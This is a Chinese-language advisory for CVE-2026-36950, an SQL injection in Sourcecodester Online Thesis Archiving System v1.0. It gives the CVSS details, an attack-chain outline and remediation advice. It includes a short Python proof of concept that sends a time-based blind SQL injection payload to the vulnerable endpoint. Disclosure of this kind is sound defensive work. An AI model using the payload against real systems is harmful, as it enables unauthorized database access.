IPBUF安全漏洞报告
English
CVE-2026-36950 CVSS 2.7 低危

CVE-2026-36950 Sourcecodester论文归档系统SQL注入漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-36950
漏洞类型
SQL注入
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Sourcecodester Online Thesis Archiving System

相关标签

SQL注入SourcecodesterWeb漏洞CVE-2026-36950

漏洞概述

Sourcecodester Online Thesis Archiving System v1.0版本存在SQL注入漏洞。攻击者可利用/otas/projects_per_department.php文件中的输入验证缺陷,构造恶意SQL语句。由于需要高权限,利用门槛较高,但成功攻击可能导致敏感信息泄露。

技术细节

该漏洞位于/otas/projects_per_department.php接口。应用程序在接收参数时,未对其进行充分的过滤或转义,直接拼接到SQL查询中执行。根据CVSS向量分析,攻击者需具备高权限用户身份(PR:H),通过网络发起攻击(AV:N)。利用该漏洞主要威胁数据的机密性(C:L),可能导致数据库结构或部分数据被读取,但通常不影响数据的完整性和系统的可用性。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统为Sourcecodester Online Thesis Archiving System v1.0。
STEP 2
2. 身份认证
攻击者获取或拥有高权限账户凭证(PR:H要求)。
STEP 3
3. 漏洞利用
向/otas/projects_per_department.php发送包含恶意SQL payload的HTTP请求。
STEP 4
4. 数据获取
根据数据库响应,提取敏感信息或确认数据库结构。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-36950 SQL Injection import requests def check_sqli(url): """Checks if the target is vulnerable to SQL Injection.""" target = f"{url}/otas/projects_per_department.php" # Common parameter name assumption based on typical Sourcecodester structure payload = {"id": "1' AND SLEEP(5)-- -"} try: print(f"Testing: {target}") r = requests.get(target, params=payload, timeout=10) if r.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed (Time-based Blind SQLi)") else: print("[-] Not vulnerable or parameter name incorrect.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target_url = "http://example.com" check_sqli(target_url)

影响范围

Sourcecodester Online Thesis Archiving System 1.0

防御指南

临时缓解措施
建议立即修改/otas/projects_per_department.php文件,将拼接SQL语句的方式改为参数化查询。在未修复前,应严格限制后台管理账户的权限分配,并加强对该接口的访问日志审计。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表